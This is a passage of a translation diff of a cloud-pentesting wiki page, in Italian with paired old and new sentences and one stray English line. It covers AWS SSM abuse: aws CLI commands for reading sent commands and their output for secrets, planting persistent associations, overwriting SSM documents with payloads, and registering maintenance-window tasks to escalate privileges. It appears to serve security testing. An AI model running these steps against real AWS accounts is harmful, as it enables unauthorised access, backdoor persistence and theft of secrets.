Un attacker con questo permission può elencare tutti i **commands** inviati e, con un po' di fortuna, trovare **sensitive information** su di essi.
```
aws ssm list-commands
```
**Impatto potenziale:** Trovare informazioni sensibili all'interno delle command lines.
**Impatto Potenziale:** Trovare informazioni sensibili all'interno delle command lines.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Un attaccante con questi permessi può elencare tutti i **commands** inviati e **leggere l'output** generato, sperando di trovare **informazioni sensibili** al suo interno.
Un attaccante con questi permessi può elencare tutti i **commands** inviati e **leggere l'output** generato, auspicabilmente trovando **informazioni sensibili** al suo interno.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -107,7 +107,7 @@ aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
### Using ssm:CreateAssociation
Un attacker con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente command su EC2 instances gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte a una persistence simile a una backdoor senza sessioni interattive.
Un attaccante con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente comandi sulle istanze EC2 gestite da SSM. Queste association possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte a una persistenza simile a una backdoor senza sessioni interattive.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,11 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
> Questo metodo di persistence funziona finché l'istanza EC2 è gestita da Systems Manager, l'SSM agent è in esecuzione e l'attaccante ha il permesso di creare associations. Non richiede sessioni interattive né permessi espliciti `ssm:SendCommand`. **Importante:** il parametro `--schedule-expression` (ad es. `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per l'esecuzione immediata o una tantum, ometti completamente `--schedule-expression` — l'association verrà eseguita una sola volta dopo la creazione.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Un attacker con i permessi **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** può eseguire privilege escalation modificando documenti esistenti. Questo consente anche la persistence all'interno di quel documento. In pratica, all'attacker servirebbe anche **`ssm:ListDocuments`** per ottenere i nomi dei custom documents e, se l'attacker vuole offuscare il proprio payload all'interno di un documento esistente, sarebbe necessario anche **`ssm:GetDocument`**.
Un attaccante con i permessi **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** può elevare i privilegi modificando documenti esistenti. Questo consente anche la persistence all'interno di quel documento. In pratica, l'attaccante avrebbe bisogno anche di **`ssm:ListDocuments`** per ottenere i nomi dei custom documents e, se vuole offuscare il proprio payload all'interno di un documento esistente, sarebbe necessario anche **`ssm:GetDocument`**.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
@@ -133,7 +133,7 @@ aws ssm update-document \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Di seguito è riportato un documento di esempio che può essere usato per sovrascrivere un documento esistente. Dovrai assicurarti che il tipo del tuo documento corrisponda al tipo del documento di destinazione per evitare problemi con l'invocation. Il documento qui sotto, per esempio, funzionerà per gli esempi **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
@@ -151,7 +151,7 @@ runCommand:
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Un attacker con i permessi **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** può escalare i privilegi prima registrando un nuovo target con una maintenance window esistente e poi aggiornando registrando un nuovo task. Questo consente l'esecuzione sugli target esistenti, ma può permettere a un attacker di compromettere compute con ruoli diversi registrando nuovi target. Questo permette anche persistence, poiché i task delle maintenance window vengono eseguiti a intervalli predefiniti durante la creazione della window. In pratica, l'attacker avrebbe anche bisogno di **`ssm:DescribeMaintenanceWindows`** per ottenere gli ID delle maintenance window.
Un attacker con i permessi **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** può eseguire privilege escalation registrando prima un nuovo target con una maintenance window esistente e poi aggiornando registrando un nuovo task. Questo consente l'esecuzione sugli target esistenti, ma può permettere a un attacker di compromettere compute con ruoli diversi registrando nuovi target. Questo consente anche persistence, poiché i task delle maintenance windows vengono eseguiti a un intervallo predefinito durante la creazione della window. In pratica, l'attacker avrebbe anche bisogno di **`ssm:DescribeMaintenanceWindows`** per ottenere gli ID delle maintenance window.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
@@ -170,7 +170,7 @@ aws ssm register-task-with-maintenance-window \
```
### Codebuild
Puoi anche usare SSM per entrare in un progetto codebuild in fase di build:
Puoi anche usare SSM per entrare dentro un progetto codebuild in fase di build:
{{#ref}}
../aws-codebuild-privesc/README.md